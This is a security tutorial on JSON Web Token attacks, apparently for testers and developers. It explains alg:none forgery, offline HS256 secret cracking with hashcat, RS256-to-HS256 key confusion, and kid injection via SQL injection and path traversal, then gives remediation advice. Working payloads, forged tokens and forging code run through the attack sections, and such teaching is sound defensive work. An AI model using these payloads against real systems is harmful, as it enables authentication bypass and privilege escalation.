JWT structure recap
A JWT consists of three base64url-encoded parts separated by dots: header.payload.signature.
# Decoded header
{
"alg": "HS256",
"typ": "JWT"
}
# Decoded payload
{
"sub": "user_58",
"role": "user",
"iat": 1741737600,
"exp": 1741824000
}
# Signature = HMAC-SHA256(base64url(header) + "." + base64url(payload), secret)The signature cryptographically binds the header and payload to a secret. If the server validates the signature correctly, the token cannot be tampered with. The attacks below target cases where this validation is broken, skipped, or confused.
Attack 1: Algorithm confusion — alg:none
The JWT specification includes alg: "none" to indicate an unsecured token with no signature. Several early JWT libraries accepted tokens with alg: "none" without enforcing signature verification — because the spec technically allowed it.
The attack:
# Step 1: Take a valid token, decode header and payload
# Step 2: Modify payload (e.g., change role from "user" to "admin")
# Step 3: Re-encode with alg: "none" and empty signature
# Modified header (base64url encoded)
{"alg":"none","typ":"JWT"}
# Modified payload
{"sub":"user_58","role":"admin","iat":1741737600,"exp":1741824000}
# Resulting token (no signature — just trailing dot)
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.
eyJzdWIiOiJ1c2VyXzU4Iiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzQxNzM3NjAwLCJleHAiOjE3NDE4MjQwMDB9.
# Send as Authorization: Bearer <token> and observe if admin access is grantedWho is still vulnerable: any application using an outdated JWT library that doesn't explicitly pin the allowed algorithm. Legacy Node.js apps using jsonwebtoken < 8.5.1 or Java apps using older JJWT versions without algorithm whitelisting.
Attack 2: Weak secret brute-force (HS256)
HS256 tokens are signed with a shared secret using HMAC-SHA256. If the secret is short, common, or derived from a predictable value (hostname, app name, "secret", "password"), it can be brute-forced offline using the captured token — no server interaction needed.
# Using hashcat with a wordlist
hashcat -a 0 -m 16500 <captured_jwt> /path/to/wordlist.txt
# Using jwt-cracker (Node.js)
jwt-cracker <captured_jwt> --alphabet "abcdefghijklmnopqrstuvwxyz" --max 8
# If secret is found (e.g., "mysecret123"):
# Forge a new token with admin role, sign with the discovered secret
import jwt
payload = {"sub": "user_58", "role": "admin", "exp": 9999999999}
forged = jwt.encode(payload, "mysecret123", algorithm="HS256")A modern GPU can test ~1 billion HS256 candidates per second. A 6-character alphanumeric secret is cracked in seconds. Any secret under 32 bytes of cryptographic randomness is at risk.
Attack 3: RS256 → HS256 algorithm confusion
Some applications issue RS256 tokens (asymmetric: signed with private key, verified with public key) but their JWT library accepts both RS256 and HS256 without pinning. The attack exploits this flexibility:
# Step 1: Obtain the server's RSA public key
# (often exposed at /.well-known/jwks.json or /api/auth/keys)
# Step 2: Create a forged token with alg: HS256
# Sign it using the RSA PUBLIC KEY as the HMAC secret
import jwt, base64
from cryptography.hazmat.primitives import serialization
# Load the public key as bytes
with open("public_key.pem", "rb") as f:
public_key_bytes = f.read()
payload = {"sub": "user_58", "role": "admin", "exp": 9999999999}
forged = jwt.encode(payload, public_key_bytes, algorithm="HS256")
# Step 3: Submit the forged token
# The server (if vulnerable) verifies HS256 using the public key as secret
# Since we signed with the same key, verification passesThis attack works because the public key is, by definition, not secret — the attacker can obtain it from JWKS endpoints or by extracting it from a valid RS256 token.
Attack 4: kid (Key ID) injection
The JWT header can include a kid (Key ID) parameter that tells the server which key to use for verification. If the server uses the kid value in a database query or file path lookup without sanitization, two attack vectors open up:
SQL injection via kid
# Server code (vulnerable pattern)
key = db.query(f"SELECT secret FROM keys WHERE id = '{kid}'")
# Attacker sets kid to:
{"alg":"HS256","kid":"x' UNION SELECT 'attacker_secret'--"}
# Query becomes:
SELECT secret FROM keys WHERE id = 'x' UNION SELECT 'attacker_secret'--
# Returns: 'attacker_secret'
# Attacker signs their forged token with 'attacker_secret'
# Server verifies with 'attacker_secret' → passesPath traversal via kid
# Server code (vulnerable pattern)
key = open(f"/keys/{kid}").read()
# Attacker sets kid to:
{"alg":"HS256","kid":"../../dev/null"}
# Server opens /dev/null → reads empty string ""
# Attacker signs forged token with empty string ""
# Server verifies with "" → passes
# Alternative: point to a file with known/predictable contentTesting checklist
Remediation
Pin the algorithm server-side
Never determine the verification algorithm from the token's own header. The server must explicitly specify which algorithm to use, regardless of what the token claims. In most JWT libraries: jwt.verify(token, secret, { algorithms: ['HS256'] }).
Use cryptographically random, long secrets
For HS256, the secret must be at least 256 bits (32 bytes) of cryptographic randomness. Use a CSPRNG (crypto.randomBytes(32) in Node.js, secrets.token_bytes(32) in Python). Never derive secrets from app names, hostnames, or short strings.
Validate and sanitize the kid parameter
If you use kid to look up keys, validate it against an allowlist of known key IDs. Never pass kid values to database queries or file path operations without strict validation. A UUID format check is a minimum.
Prefer RS256 or ES256 for distributed systems
Asymmetric algorithms (RS256, ES256) eliminate the shared-secret problem — services can verify tokens using only the public key. Use HS256 only for single-service authentication where the secret never leaves one process.